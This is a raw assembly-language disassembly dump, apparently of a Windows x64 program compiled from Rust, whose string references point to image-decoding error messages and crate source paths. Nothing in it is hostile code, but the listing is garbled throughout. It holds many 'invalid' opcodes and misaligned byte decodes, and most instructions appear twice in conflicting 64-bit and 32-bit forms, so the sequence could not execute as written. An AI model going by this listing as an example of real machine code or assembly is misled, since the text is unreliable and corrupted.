or eax, dword [rax]
add byte [rax], al
add cl, ch
jmp case.0x1400422a0.172
scasb al, byte [rdi]
add byte [rax], al
add byte [rax], al
invalid
invalid
add byte [rax], al
mov rcx, qword [rdx + 0x20]
and byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
lea rdx, [0x1401fa276]
adc eax, 0x1b85f9
test dword [rbx], ebx
add byte [rcx - 0x48], al
invalid
or al, 0
invalid
mov r8d, 0xc
add byte [rax], al
add byte [rax], al
add bl, ch
jmp case.0x14002e5c3.230
add rcx, 8
add rcx, 8
or byte [rbp + rcx*4 + 0x4c], cl
lea r9, [rsp + 0x30]
lea ecx, [rsp + 0x30]
and al, 0x30
mov qword [r9], rcx
or dword [rax - 0x73], ecx
add eax, 0x1b83f8
clc
sbb dword [rbx], 0
sbb eax, dword [rax]
lea rax, fcn.140009390
clc
sbb dword [rbx], 0
sbb eax, dword [rax]
sbb eax, dword [rax]
mov qword [rsp + 0x20], rax
and al, 0x20
lea rax, str.IoError
add eax, 0x20b9b4
mov r8d, 7
mov eax, 7
add byte [rax], al
jmp case.0x1400422a0.172
insb byte [rdi], dx
mov rcx, qword [rdx + 0x20]
and byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
sbb byte [rax - 0x73], cl
lea rdx, str.LimitsExceededIntSizeErrorUsageError
adc eax, 0x1b85a9
mov r8d, 0xe
mov eax, 0xe
invalid
add byte [rax - 0x7d], cl
invalid
add rsp, 0x38
add esp, 0x38
cmp byte [rax - 1], cl
loopne case.0x14002f63b.210
invalid
jmp rax
add rcx, 8
add ecx, 8
or byte [rbp + rcx*4 + 0x4c], cl
lea r9, [rsp + 0x30]
and al, 0x30
xor byte [rcx - 0x77], cl
or dword [rax - 0x73], ecx
mov qword [r9], rcx
mov dword [rcx], ecx
lea rax, fcn.140009390
add eax, 0x1b8569
test dword [rbx], ebx
add byte [rax - 0x77], cl
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
and al, 0x20
and al, 0x20
lea rax, str.UnsupportedError
lea eax, str.UnsupportedError
add byte [rcx - 0x48], al
adc byte [rax], al
add byte [rax], al
mov r8d, 0x10
mov eax, 0x10
jmp case.0x1400422a0.172
and eax, 0x4c18348
add rcx, 4
add ecx, 4
rol dword [rsp + rcx*2], 0x8d
and al, 0x30
and al, 0x30
add al, 0x4c
lea ecx, [rsp + 0x30]
and al, 0x30
lea r9, [rsp + 0x30]
and al, 0x30
mov qword [r9], rcx
lea rax, fcn.140009390
invalid
test dword [rbx], ebx
invalid
test dword [rbx], ebx
sbb eax, dword [rax]
add byte [rax - 0x77], cl
mov qword [rsp + 0x20], rax
and al, 0x20
and byte [rax - 0x73], cl
add eax, 0x1b8570
sbb eax, dword [rax]
lea rax, [0x1401fa282]
lea eax, [0x1401fa282]
sbb eax, dword [rax]
add byte [rcx - 0x48], al
or al, byte [rax]
add byte [rax], al
invalid
mov r8d, 0xa
add byte [rax], al
add byte [rax - 0x77], cl
invalid
invalid
mov rcx, rdx
ror dword [rax - 0x77], 1
ret 0x7de8
mov rdx, rax
mov edx, eax
call fcn.14002b6a0
invalid
nop
add rsp, 0x38
invalid
ret
invalid
movabs rdx, 0xedaad9823a4eb5cc
mov edx, 0x3a4eb5cc
mov ch, 0x4e
cmp al, byte [rdx - 0x3c125527]
invalid
fldcw word [rdx + 0x18bc3ed]
stosb byte [rdi], al
in eax, dx
ret
mov eax, dword [rcx]
lea ecx, [rax - 0x15]
add eax, 0xffffffec
shr ah, 0x31
shl byte [rsi - 0x7d], cl
cmp ecx, 5
cmovb edx, eax
invalid
in al, dx
xor edx, edx
cmp cx, 5
cmp ecx, 5
cmovb edx, eax
movsx rax, dx
invalid
movsx eax, dx
ret 0x8d48
lea rcx, [0x140289e88]
lea ecx, [0x140289e88]
and dword cs:[rax + rax], 0xc1148b48
mov rdx, qword [rcx + rax*8]
lea rcx, str.Format_errorUnsupported_errorIO_errorDecoder_limits_exceededInvalid_usageFormat
and al, 0
mov rax, qword [rcx + rax*8]
rol ebx, 0x48
ret
lea edx, [rcx + 8]
push rcx
or byte [rcx], dh
shl byte [rsi - 0x7d], 0x39
invalid
invalid
invalid
xor eax, eax
cmp word [rcx], 0x16
cmp dword [rcx], 0x16
invalid
cmove rax, rdx
cmove eax, edx
ret 0x8d48
lea rdx, fcn.14001ca7a
ret
sub rsp, 0x48
mov rax, rdx
invalid
ror byte [rbx + rcx*4 + 9], 1
mov r9, qword [rcx]
cmp byte [r9], 0
cmp byte [rcx], 0
cmp dword [rax], eax
je case.0x14000f477.411
xor cl, byte [rcx - 0x7d]
add r9, 4
rol dword [rsp + rcx*2], 0x8d
add al, 0x4c
lea edx, [rsp + 0x40]
push rsp
and al, 0x40
lea r10, [rsp + 0x40]
push rsp
and al, 0x40
mov qword [r10], r9
mov qword [r10], r9
mov dword [rdx], ecx
lea rcx, fcn.140009390
or eax, 0x1b826d
mov qword [rsp + 0x20], rcx
mov dword [rsp + 0x20], ecx
lea rdx, str.InvalidChunkIndexC:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_byteorder_1.5.0_srclib.rs
int1
test dword [rbx], ebx
add byte [rcx - 0x48], al
adc dword [rax], eax
invalid
mov r8d, 0x11
mov eax, 0x11
add byte [rax], al
mov rcx, rax
mov r9, r10
call fcn.14002b6a0
loopne case.0x14003c2d3.300
cwde
invalid
jmp 0x140041e03
lea rcx, [r9 + 2]
lea ecx, [rcx + 2]
lea rdx, [rsp + 0x40]
push rsp
and al, 0x40
mov qword [rdx], rcx
mov dword [rdx], ecx
inc r9
inc ecx
ror dword [rax - 0x73], 0xd
test al, 0x85
lea rcx, fcn.140009390
sbb eax, dword [rax]
mov qword [rsp + 0x30], rcx
and al, 0x30
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x28], edx
and al, 0x28
sub byte [rax - 0x73], cl
or eax, 0x1b8577
test dword [rbx], ebx
invalid
lea rcx, fcn.140009390
test dword [rbx], ebx
add byte [rax - 0x77], cl
mov qword [rsp + 0x20], rcx
and al, 0x20
and al, 0x20
lea rdx, str.InvalidChunkType
adc eax, 0x1b855b
mov r8d, 0x10
mov eax, 0x10
add byte [rax], al
add byte [rax - 0x77], cl
mov rcx, rax
mov ecx, eax
shr eax, 0x5d
call fcn.14002b760
cdq
invalid
nop
add rsp, 0x48
ret
or ecx, ebp
add byte [rax], al
add byte [rax], al
invalid
jmp case.0x1400573f7.234
add byte [rax], al
add byte [rbp + 0x31], al
rol byte [rax - 0x72b7ffc7], 0xd
add byte [rax - 0x73], cl
invalid
xor r8d, r8d
xor eax, eax
cmp byte [rcx], 0
lea rcx, [0x140265789]
lea ecx, [0x140265789]
add byte [rax - 0x73], cl
or eax, 0x22396b
imul edi, dword [rcx], 0x22
invalid
lea ecx, [0x140265789]
imul edi, dword [rcx], 0x22
cmp dword [rdx], esp
and al, byte [rax]
add byte [rax - 0x73], cl
lea rax, [0x14026578e]
add eax, 0x223969
imul edi, dword [rcx], 0xf480022
cmp dword [rdx], esp
add byte [rax + 0xf], cl
invalid
cmove rax, rcx
cmove eax, ecx
rol dword [rcx + 0xf], 0x94
rol dword [rcx + 0xf], 0x94
sete r8b
xchg esp, eax
ror byte [rcx - 0x7d], 0xc8
or r8, 4
or eax, 4
add al, 0x48
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
and byte [rax - 0x75], cl
push rdx
mov rdx, qword [rdx + 0x28]
mov edx, dword [rdx + 0x28]
sub byte [rbx + rcx*4 + 0x4a], cl
mov r9, qword [rdx + 0x18]
sbb byte [rax - 0x77], cl
sbb byte [rax - 0x77], cl
mov rdx, rax
mov edx, eax
ret 0xff49
jmp r9
jmp rcx
mov r9, qword [rcx]
movabs rax, 0x8000000000000000
xor rax, qword [r9]
invalid
mov eax, 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0x48013349], al
invalid
invalid
add byte [rax], al
or byte [rcx + 0x33], 1
invalid
add dword [rax - 0x7d], ecx
cmp rax, 0xf
cmp eax, 0xf
clc
ud1
mov ecx, 3
add eax, dword [rax]
add byte [rax], al
cmovb rcx, rax
cmovb ecx, eax
enter 0xffffffffffff8d48, 5
lea rax, [0x14028ba64]
add eax, 0x249bf9
stc
wait
and al, 0
invalid
add byte [rax + 0x63], cl
or al, 0x88
invalid
movsxd rcx, dword [rax + rcx*4]
mov byte [rax + 1], cl
add rcx, rax
add ecx, eax
sar edi, 0xe1
jmp rcx
add r9, 8
ror dword [rax], 0x48
lea eax, [rsp + 0x40]
and al, 0x40
lea rax, [rsp + 0x40]
and al, 0x40
mov qword [rax], r9
mov qword [rax], r9
mov dword [rax], ecx
lea rcx, fcn.140009390
lea ecx, [0x1401fa950]
mov bl, byte [rbx]
add byte [rax - 0x77], cl
and al, 0x20
and al, 0x20
mov qword [rsp + 0x20], rcx
and al, 0x20
lea r9, [0x1401fa935]
or eax, 0x1b8aa2
sbb eax, dword [rax]
add cl, ch
jmp case.0x140013145.372
invalid
add byte [rax], al
add r9, 8
add ecx, 8
or byte [rax - 0x73], cl
lea rax, [rsp + 0x40]
and al, 0x40
and al, 0x40
mov qword [rax], r9
mov dword [rax], ecx
lea rcx, fcn.140009390
or eax, 0x1b8635
mov qword [rsp + 0x20], rcx
mov dword [rsp + 0x20], ecx
lea r9, str.UnsupportedJpegFeatureunderlyingC:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_fdeflate_0.3.4_srccompress.rs
or eax, 0x1b8c99
add cl, ch
adc eax, dword [rcx]
jmp case.0x140013145.372
add byte [rax], al
add byte [rcx - 0x7d], cl
ror dword [rax], 0x48
lea rax, [rsp + 0x40]
add r9, 8
lea rax, [rsp + 0x40]
and al, 0x40
mov qword [rax], r9
mov qword [rax], r9
lea rcx, fcn.140009390
adc dword [rbx + rbx + 0x4c894800], ecx
and al, 0x20
mov word [rbx], ds
add byte [rax - 0x77], cl
invalid
invalid
mov qword [rsp + 0x20], rcx
mov dword [rsp + 0x20], ecx
and al, 0x20
lea r9, [0x1401faac5]
or eax, 0x1b8bea
add cl, ch
jmp case.0x14002f63b.241
rol byte [rcx], cl
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
invalid
invalid
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
lea rdx, str.UnknownInterpretationUnknownCompressionMethod
adc eax, 0x1b8b05
sbb eax, dword [rax]
add byte [rcx - 0x48], al
adc eax, 0xe9000000
invalid
mov r8d, 0x15
jmp 0x14004201d
invalid
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x75], cl
and byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
invalid
invalid
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
lea rdx, str.UnsupportedDataTypeUnsupportedInterpretation
lea edx, str.UnsupportedDataTypeUnsupportedInterpretation
adc eax, 0x1b8bef
mov ebx, dword [rbx]
add byte [rcx - 0x48], al
adc eax, dword [rax]
add byte [rax], al
invalid
mov r8d, 0x13
add byte [rax], al
add cl, ch
jmp 0x14004201d
add dword [rcx], eax
add byte [rax], al
invalid
add byte [rcx - 0x7d], cl
add r9, 8
ror dword [rax], 0x48
lea rax, [rsp + 0x40]
lea eax, [rsp + 0x40]
mov qword [rax], r9
lea rcx, fcn.140009390
and dword [rdx - 0x76b7ffe5], ecx
mov bl, byte [rbx]
add byte [rax - 0x77], cl
mov qword [rsp + 0x20], rcx
and al, 0x20
and al, 0x20
lea r9, str.UnsupportedColorTypeUnsupportedBitsPerChannelUnsupportedPlanarConfig
mov r8d, 0x14
mov eax, 0x14
add byte [rax], al
add cl, ch
jb 0x140041f45
invalid
jmp case.0x140033b27.236
add byte [rax], al
add byte [rcx - 0x7d], cl
add r9, 8
ror dword [rax], 0x48
lea rax, [rsp + 0x40]
lea eax, [rsp + 0x40]
and al, 0x40
mov qword [rax], r9
mov qword [rax], r9
mov dword [rax], ecx
or byte [rax - 0x73], cl
lea rcx, fcn.140009390
or eax, 0x1b8a47
mov r11b, byte [r11]
sbb eax, dword [rax]
add byte [rax - 0x77], cl
mov qword [rsp + 0x20], rcx
and al, 0x20
and al, 0x20
lea r9, [0x1401fa983]
invalid
add cl, ch
and dword [rcx], eax
invalid
jmp case.0x1400423d4.428
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x40
invalid
lea rax, [rsp + 0x40]
lea eax, [rsp + 0x40]
mov qword [rax], r9
mov qword [rax], r9
or byte [rcx - 0x7d], cl
add r9, 0x18
lea rcx, fcn.140009390
invalid
mov bl, byte [rbx]
invalid
rcr dword [rax], 0x48
lea ecx, [0x1401fa9a0]
invalid
mov bl, byte [rbx]
invalid
and ecx, dword [rdx - 0x76b7ffe5]
mov bl, byte [rbx]
sbb eax, dword [rax]
add byte [rax - 0x77], cl
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x30], ecx
and al, 0x30
and al, 0x30
xor byte [rax - 0x77], cl
mov qword [rsp + 0x28], rax
and al, 0x28
lea rax, fcn.140009390
mov bl, byte [rbx]
add byte [rax - 0x77], cl
invalid
invalid
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
and al, 0x20
and al, 0x20
and byte [rax - 0x73], cl
lea rax, str.InterpretationWithBits
lea eax, str.InterpretationWithBits
add eax, 0x1b8a26
sbb eax, dword [rax]
mov r8d, 0x16
mov eax, 0x16
add byte [rax], al
mov rcx, rdx
mov ecx, edx
mov rdx, rax
call fcn.14002b760
mov ch, 0x97
xchg edi, eax
invalid
invalid
jmp 0x1400420c6
add byte [rax], al
add r9, 8
add ecx, 8
ror dword [rax], 0x48
lea eax, [rsp + 0x40]
and al, 0x40
and al, 0x40
lea rax, [rsp + 0x40]
and al, 0x40
mov qword [rax], r9
mov qword [rax], r9
or byte [rax - 0x73], cl
or eax, 0x1b808d
invalid
sbb byte [rbx], 0
sbb eax, dword [rax]
lea rcx, fcn.140009390
lea eax, [rax - 0x76b7ffe5]
sbb eax, dword [rax]
add byte [rax - 0x77], cl
mov qword [rsp + 0x20], rcx
mov dword [rsp + 0x20], ecx
and al, 0x20
and byte [rbp + rcx*4 + 0xd], cl
lea r9, str.UnsupportedSampleDepthUnsupportedSampleFormat
or eax, 0x1b8a79
jns 0x140041f57
sbb eax, dword [rax]
mov r8d, 0x16
invalid
add cl, ch
jmp case.0x140033b27.236
fiadd word [rax]
add byte [rax], al
add byte [rcx - 0x7d], cl
ror dword [rax], 0x48
invalid
invalid
add r9, 8
or byte [rax - 0x73], cl
lea rax, [rsp + 0x40]
lea eax, [rsp + 0x40]
and al, 0x40
and al, 0x40
mov qword [rax], r9
mov qword [rax], r9
mov dword [rax], ecx
or byte [rax - 0x73], cl
lea rcx, fcn.140009390
or eax, 0x1b8963
invalid
sbb eax, dword [rax]
add byte [rax - 0x77], cl
mov qword [rsp + 0x20], rcx
mov dword [rsp + 0x20], ecx
and al, 0x20
and byte [rbp + rcx*4 + 0xd], cl
lea r9, str.HorizontalPredictorInconsistentBitsPerSample
or eax, 0x1b8977
ja case.0x1400089d2.487
sbb eax, dword [rax]
mov r8d, 0x13
mov eax, 0x13
add cl, ch
jmp case.0x140033b27.236
mov ah, 0
add byte [rax], al
add byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
invalid
invalid
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
lea rdx, [0x1401faa0d]
adc eax, 0x1b89f6
mov r8d, 0x18
mov eax, 0x18
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
invalid
add rsp, 0x48
add esp, 0x48
jmp rax
jmp rax
jmp rax
add r9, 8
add ecx, 8
or byte [rax - 0x73], cl
lea rax, [rsp + 0x40]
and al, 0x40
and al, 0x40
mov qword [rax], r9
mov qword [rax], r9
mov dword [rax], ecx
lea rcx, fcn.140009390
lea ecx, [0x1401fab30]
stc
mov bl, byte [rbx]
add byte [rax - 0x77], cl
mov qword [rsp + 0x20], rcx
mov qword [rsp + 0x20], rcx
and al, 0x20
lea r9, [0x1401fab13]
or eax, 0x1b8ad0
add bl, ch
jmp case.0x1400423d4.428
add r9, 8
add r9, 8
add ecx, 8
ror dword [rax], 0x48
lea eax, [rsp + 0x40]
or byte [rax - 0x73], cl
lea rax, [rsp + 0x40]
and al, 0x40
mov qword [rax], r9
mov dword [rax], ecx
lea rcx, fcn.140009390
lea ecx, [0x1401faa28]
ror byte [rcx - 0x76b7ffe5], 1
add byte [rax - 0x77], cl
mov qword [rsp + 0x20], rcx
and al, 0x20
lea r9, [0x14025d9e5]
lea ecx, [0x14025d9e5]
cmp dword [rcx - 0x47beffdf], 0x1c
and dword [rax], eax
mov r8d, 0x1c
add byte [rax], al
add bl, ch
jmp case.0x140033b27.236
add r9, 8
add byte [rax], al
jmp case.0x140033b27.236
add r9, 8
or byte [rax - 0x73], cl
lea rax, [rsp + 0x40]
and al, 0x40
mov qword [rax], r9
lea rcx, fcn.140009390
mov qword [rsp + 0x20], rcx
mov dword [rsp + 0x20], ecx
sar dword [rdi + 0x1b], 1
jg case.0x14003c2d3.320
add byte [rax - 0x77], cl
and al, 0x20
and al, 0x20
mov dword [rsp + 0x20], ecx
and al, 0x20
lea r9, [0x1401faaac]
and dword [rdx - 0x47beffe5], ecx
mov bl, byte [rbx]
add byte [rcx - 0x48], al
mov r8d, 0x19
sbb dword [rax], eax
add byte [rax], al
add bl, ch
add byte [rax], al
jmp case.0x140033b27.236
and eax, 0x8c18349
add r9, 8
ror dword [rax], 0x48
lea rax, [rsp + 0x40]
lea eax, [rsp + 0x40]
and al, 0x40
and al, 0x40
mov qword [rax], r9
lea rcx, fcn.140009390
invalid
mov dword [rbx], ebx
sbb eax, dword [rax]
invalid
ror byte [rcx - 0x76b7ffe5], cl
add byte [rax - 0x77], cl
mov qword [rsp + 0x20], rcx
mov dword [rsp + 0x20], ecx
and al, 0x20
and byte [rbp + rcx*4 + 0xd], cl
lea r9, [0x1401faa5e]
lea ecx, [0x1401faa5e]
lodsb al, byte [rsi]
mov dword [rbx], ebx
add byte [rcx - 0x48], al
invalid
invalid
mov r8d, 0x17
invalid
add byte [rax], al
add byte [rax - 0x77], cl
ror dword [rcx + rcx*4 - 0x36], 1
mov edx, ecx
mov rcx, rdx
mov rdx, r9
mov edx, ecx
mov edx, ecx
mov r9, rax
mov ecx, eax
call fcn.14002b6a0
invalid
nop
add rsp, 0x48
add esp, 0x48
ret
sub rsp, 0x38
sub esp, 0x38
cmp byte [rax - 0x75], cl
mov rax, qword [rcx]
cmp byte [rax], 2
cmp byte [rdx], al
add dword [rax + 0x20750238], eax
cmp byte [rdx], al
add dh, byte [rbp + 0x20]
jne case.0x1400115e7.393
mov rcx, qword [rdx + 0x20]
and byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
invalid
invalid
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x247a81
jp 0x14004210e
invalid
lea rdx, case.0x140059243.0
lea edx, case.0x140059243.0
jp 0x14004210e
add byte [rcx - 0x48], al
add al, 0
mov r8d, 4
mov eax, 4
add byte [rax], al
add byte [rax - 0x7d], cl
add rsp, 0x38
add esp, 0x38
invalid
jmp rax
lea r9, [rsp + 0x30]
mov qword [r9], rax
invalid
add dword [rax - 0x73], ecx
lea rax, fcn.140009390
add eax, 0x1b8701
add dword [rdi - 0x76b7ffe5], eax
sbb eax, dword [rax]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
and al, 0x20
and al, 0x20
lea rax, [0x140289b70]
lea eax, [0x140289b70]
add eax, 0x247a5d
pop rbp
jp case.0x140010276.406
and al, 0
add byte [rcx - 0x48], al
mov r8d, 4
add al, 0
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
ror dword [rax - 0x77], 1
ret 0x7ce8
invalid
invalid
mov rcx, rdx
mov ecx, edx
mov rdx, rax
call fcn.14002b6a0
nop
jl case.0x14003c2d3.314
xchg ebp, eax
invalid
call qword [rax + 0x38c48348]
add rsp, 0x38
add esp, 0x38
ret
sub rsp, 0x38
mov rax, qword [rcx]
mov eax, dword [rcx]
in al, dx
cmp byte [rax - 0x75], cl
mov eax, dword [rcx]
add dword [rdi], ecx
movzx ecx, word [rax]
mov bh, 8
or byte [rbp + rcx*4 + 5], cl
cdq
cdq
lea r8, [0x14028baa0]
lea eax, [0x14028baa0]
add eax, 0x249965
and al, 0
add byte [rcx + 0x63], cl
or al, 0x88
movsxd rcx, dword [r8 + rcx*4]
mov byte [rcx + rax - 0x3f], cl
add rcx, r8
add ecx, eax
sar edi, 0xe1
jmp rcx
loope 0x14004218d
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
and byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
lea rdx, case.0x140059243.0
lea edx, case.0x140059243.0
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
lea edx, case.0x140059243.0
adc eax, 0x247a15
adc eax, 0xe900247a
and al, 0
add cl, ch
jmp 0x140042205
test eax, 0x48000000
mov ecx, dword [rdx + 0x20]
invalid
invalid
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
and byte [rax - 0x75], cl
and byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
sbb byte [rax - 0x73], cl
lea rdx, [0x140265a36]
lea edx, [0x140265a36]
adc eax, 0x2238c7
invalid
cmp byte [rdx], ah
add byte [rcx - 0x48], al
mov r8d, 3
add eax, dword [rax]
add byte [rax], al
jmp 0x140042271
test dword [rax], 0x8b480000
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
and byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
lea rdx, [0x140265a58]
lea edx, [0x140265a58]
adc eax, 0x2238cb
retf
cmp byte [rdx], ah
and al, byte [rax]
add byte [rcx - 0x48], al
mov r8d, 8
or byte [rax], al
add byte [rax], al
jmp 0x140042271
add byte [rax], al
add byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
and byte [rax - 0x75], cl
and byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
lea rdx, [0x140265a2e]
adc eax, 0x223883
cmp dword [rax], 0x22
and al, byte [rax]
add bl, ch
jmp 0x140042205
pop rax
mov rcx, qword [rdx + 0x20]
and byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
invalid
invalid
sub byte [rax - 0x75], cl
mov eax, dword [rax + 0x18]
sbb byte [rax - 0x73], cl
lea rdx, [0x140265a32]
lea edx, [0x140265a32]
adc eax, 0x223872
jb 0x1400421f6
and al, byte [rax]
add bl, ch
mov rcx, qword [rdx + 0x20]
mov rcx, qword [rdx + 0x20]
jmp 0x140042205
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
and byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
sbb byte [rax - 0x73], cl
lea rdx, [0x140265a47]
adc eax, 0x223872
jb case.0x140039166.216
and al, byte [rax]
jmp case.0x1400573f7.269
adc ecx, dword [rax - 0x75]
and byte [rax - 0x75], cl
and byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
and byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
lea rdx, [0x140265a27]
adc eax, 0x22383d
cmp eax, 0x41002238
mov eax, 7
invalid
add byte [rax], al
add byte [rax], al
cmp byte [rdx], ah
add byte [rcx - 0x48], al
invalid
invalid
mov r8d, 7
invalid
add byte [rax], al
add bl, ch
jg 0x14004223b
invalid
jmp 0x140042271
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x223834
cmp byte [rdx], ah
invalid
lea rdx, [0x140265a39]
lea edx, [0x140265a39]
cmp byte [rdx], ah
add byte [rcx - 0x48], al
mov r8d, 4
add al, 0
add byte [rax], al
add byte [rax], al
add bl, ch
jmp 0x140042271
mov rcx, qword fs:[rdx + 0x20]
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
and byte [rax - 0x75], cl
and byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
invalid
invalid
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
lea rdx, [0x140265a3d]
lea edx, [0x140265a3d]
adc eax, 0x22381d
sbb eax, 0xeb002238
add bl, ch
jmp 0x14004226b
add rax, 2
add rax, 2
add cl, byte [rbp + rcx*4 + 0x4c]
lea r9, [rsp + 0x30]
and al, 0x30
and al, 0x30
mov qword [r9], rax
mov dword [rcx], eax
lea rax, fcn.140009390
lea eax, [0x1401fa030]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
and al, 0x20
and al, 0x20
and byte [rax - 0x73], cl
lea rax, case.0x140059243.1
lea eax, case.0x140059243.1
add eax, 0x2237df
and al, byte [rax]
mov r8d, 7
invalid
mov rcx, rdx
mov ecx, edx
mov rdx, rax
call fcn.14002b6a0
xchg esp, eax
invalid
invalid
ret 0x4ee8
xchg esp, eax
invalid
call qword [rax + 0x38c48348]
nop
add rsp, 0x38
invalid
invalid
invalid
ret
mov rcx, qword [rdx + 0x20]
and byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x2237e3
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
lea edx, [0x140265a4e]
adc eax, 0x2237e3
invalid
add byte [rcx - 0x48], al
or al, byte [rax]
add byte [rax], al
mov r8d, 0xa
mov eax, 0xa
add rsp, 0x38
add esp, 0x38
jmp rax
jmp rax
mov dh, 1
add dword [rax - 0x73], ecx
or eax, 0x247c66
lea rcx, [0x140289ee8]
lea ecx, [0x140289ee8]
jl case.0x14003f54f.54
add byte [rbx + rcx*4 + 4], cl
mov r8, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
ror dword [rax - 0x73], 0xd
wait
lea rcx, case.0x1401b53db.0
lea ecx, [0x140289f28]
or eax, 0x247c9b
jl case.0x140085b76.283
add byte [rax - 0x75], cl
add al, 0xc1
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
mov edx, dword [rdx + 0x28]
push rdx
sub byte [rbx + rcx*4 + 0x4a], cl
mov r9, qword [rdx + 0x18]
mov rdx, rax
invalid
sbb byte [rax - 0x77], cl
sbb byte [rax - 0x77], cl
ret 0xff49
jmp r9
loope 0x1400422ec
sub esp, 0x38
mov rax, rdx
ror byte [rax - 0x75], 1
or dword [rdi], ecx
mov dh, 0x11
in al, dx
cmp byte [rax - 0x77], cl
ror byte [rax - 0x75], 1
or dword [rdi], ecx
mov dh, 0x11
inc rcx
inc ecx
ror dword [rbp + rcx*4 + 5], 0x12
lea r8, [0x14028bacc]
lea eax, [0x14028bacc]
add eax, 0x249812
adc bl, byte [rax + 0x63490024]
adc al, 0x90
nop
cwde
and al, 0
movsxd rdx, dword [r8 + rdx*4]
nop
add rdx, r8
ret 0xe2ff
jmp rdx
lea r9, [rsp + 0x30]
and al, 0x30
and al, 0x30
mov qword [r9], rcx
lea rcx, fcn.140009390
jge 0x1400422ec
invalid
or eax, 0x1b7d7e
jge 0x1400422ec
sbb eax, dword [rax]
add byte [rax - 0x77], cl
and al, 0x20
invalid
mov qword [rsp + 0x20], rcx
and byte [rax - 0x73], cl
adc eax, 0x2237e1
and al, byte [rax]
lea rdx, [0x140265abf]
